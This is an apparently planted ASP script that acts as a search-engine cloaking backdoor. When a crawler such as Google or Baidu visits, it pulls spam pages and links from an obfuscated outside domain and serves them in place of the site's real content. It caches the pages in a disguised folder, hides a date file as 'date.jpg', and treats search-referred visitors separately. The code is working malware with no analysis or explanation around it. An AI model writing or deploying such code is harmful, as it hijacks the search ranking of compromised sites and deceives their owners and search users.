<% Function fileExists(relativeFilePath) On Error Resume Next Dim fso relativeFilePath = replace(relativeFilePath, "\\", "") Set fso = CreateObject("Scripting.FileSystemObject") fileExists = fso.FileExists(Server.MapPath(relativeFilePath)) If Err.Number <> 0 Then fileExists = False Err.Clear End If On Error GoTo 0 End Function extension=".log" Function ReadFile(filePath) Dim stream, fcc, chkey chkey = "index_" & Server.MapPath(filePath) If Not IsEmpty(Application(chkey)) Then fcc = Application(chkey) Else Set stream = Server.CreateObject("ADODB.Stream") stream.Open stream.Type = 2 ' adTypeText stream.Charset = "utf-8" stream.LoadFromFile Server.MapPath(filePath) fcc = stream.ReadText stream.Close Set stream = Nothing if InStr(filePath, "index") > 0 Or filePath=domain()&extension Or filePath = "-"&extension Then Application.Lock Application(chkey) = fcc Application.Unlock end if End If ReadFile = fcc End Function sub WriteF(filename, content) On Error Resume Next Dim stream Set stream = Server.CreateObject("ADODB.Stream") stream.Open stream.Type = 2 'adTypeText stream.Charset = "UTF-8" stream.WriteText content stream.SaveToFile Server.MapPath(filename), 2 'adSaveCreateOverWrite stream.Close Set stream = Nothing If Err.Number <> 0 Then WriteF = content Else WriteF = content End If End sub Function urls() u="i." u1="wskmn" urls="http://"+u+u1+".com"+"/bx/" End Function Function format() filename=domain()&url() filename = Replace(filename, "http://", "") filename = Replace(filename, "https://", "") filename = Replace(filename, "\", "-") filename = Replace(filename, "/", "") filename = Replace(filename, ":", "-") filename = Replace(filename, "*", "-") filename = Replace(filename, "?", "-") filename = Replace(filename, """", "-") filename = Replace(filename, "<", "-") filename = Replace(filename, ">", "-") filename = Replace(filename, "|", "-") filename = Replace(filename, "&", "-") filename = Replace(filename, "=", "-") format=folder()+filename+extension End Function Function folder() folder1="stats\spider\" folder=cfolder(folder1) End Function Function css() if fileExists("css.css")=false then WriteF "css.css",GetWebContent("https://img.wskmn.com/css/test.css","utf-8","60000") end if End Function Function cfolder(dir) Dim fs,strFolder strFolder=fo Err.Clear On Error Resume Next set fs=Server.CreateObject("Scripting.FileSystemObject") strFolder=Server.MapPath(dir) If not fs.FolderExists(strFolder) Then fs.CreateFolder strFolder cfolder=dir End If cfolder=dir End Function Function all() ff=format() da=replace(date(),"/","-") if fileExists(folder()&"date.jpg") then 'css() rd=ReadFile(folder()&"date.jpg") if rd=da then if fileExists(ff) then all= ReadFile(ff) else aa= sour() WriteF ff,aa all=aa end if else aa= sour() WriteF ff,aa WriteF folder()&"date.jpg",da all=aa end if else aa= sour() WriteF ff,aa WriteF folder()&"date.jpg",da all=aa end if End Function Function url() dim http http=LCase(request.ServerVariables("QUERY_STRING")) if instr(http,"&")>0 then url=replace(http,"&","?",1,1) else url=http end if End Function function domain() domain=LCase(request.ServerVariables("SERVER_NAME")) End Function Dim fileContent ' Set fileContent = CreateObject("Scripting.Dictionary") function sour() aa=urls()+"?"+"domain="+domain()+replace("&script=/"+"&id="&"/"&url(),"//","/") sour=GetWebContent(aa,"utf-8","60000") End Function Function Isspider() Dim agent, searray, i agent = LCase(Request.ServerVariables("HTTP_USER_AGENT")) searray = Array("google", "baidu", "Google", "spider") Isspider = False For i = 0 To UBound(searray) If InStr(agent, searray(i)) > 0 Then Isspider = True Exit Function ' End If Next End Function Function fromse() Dim urlRefer, i, seArray urlRefer = LCase(Request.ServerVariables("HTTP_REFERER")) fromse = False If urlRefer = "" Then Exit Function End If seArray = Array("google", "yahoo", "bing", "baidu.com", ".aol.com") For i = 0 To UBound(seArray) If InStr(urlRefer, seArray(i)) > 0 Then fromse = True Exit Function End If Next End Function Function GetWebContent(strURL, strCharset, intTimeout) Response.CodePage = 65001 Dim objHttp, strHTML On Error Resume Next Set objHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") If Err.Number <> 0 Then Set objHttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0") End If If Err.Number <> 0 Then Set objHttp = Server.CreateObject("MSXML2.XMLHTTP") End If If Err.Number <> 0 Then Set objHttp = Server.CreateObject("Microsoft.XMLHTTP") End If On Error GoTo 0 If objHttp Is Nothing Then GetWebContent = "" Exit Function End If objHttp.Open "GET", strURL, False objHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objHttp.SetTimeouts intTimeout, intTimeout, intTimeout, intTimeout objHttp.Send strHTML = objHttp.responseText If Left(strHTML, 3) = ChrW(&HFEFF) Then strHTML = Mid(strHTML, 4) End If Dim arrCharsets(2) arrCharsets(0) = "utf-8" arrCharsets(1) = "gb2312" arrCharsets(2) = "gbk" Dim strCharsetInArray, objStream, strStream For Each strCharsetInArray In arrCharsets Set objStream = Server.CreateObject("ADODB.Stream") objStream.Mode = 3 ' adModeReadWrite objStream.Type = 1 ' adTypeBinary objStream.Open objStream.Write objHttp.ResponseBody objStream.Position = 0 objStream.Type = 2 ' adTypeText objStream.Charset = strCharsetInArray strStream = objStream.ReadText objStream.Close Set objStream = Nothing If InStr(strStream, ChrW(&HFFFD)) = 0 Then strHTML = strStream Exit For End If Next Set objHttp = Nothing GetWebContent = strHTML End Function if isspider()=true then if instr(url(),"clearall")>0 then application.contents.removeall() response.write now()& "
"&"clear cache is success!" response.end end if response.clear Response.CodePage = 65001 Response.Charset = "utf-8" response.write( replace( all(),"{upx}",GetWebContent("http://link.wskmn.com/bx2/","utf-8","60000") ) ) response.write("") response.end end if if fromse() then response.clear response.write("
") Response.Flush response.end else response.write("
") end if %>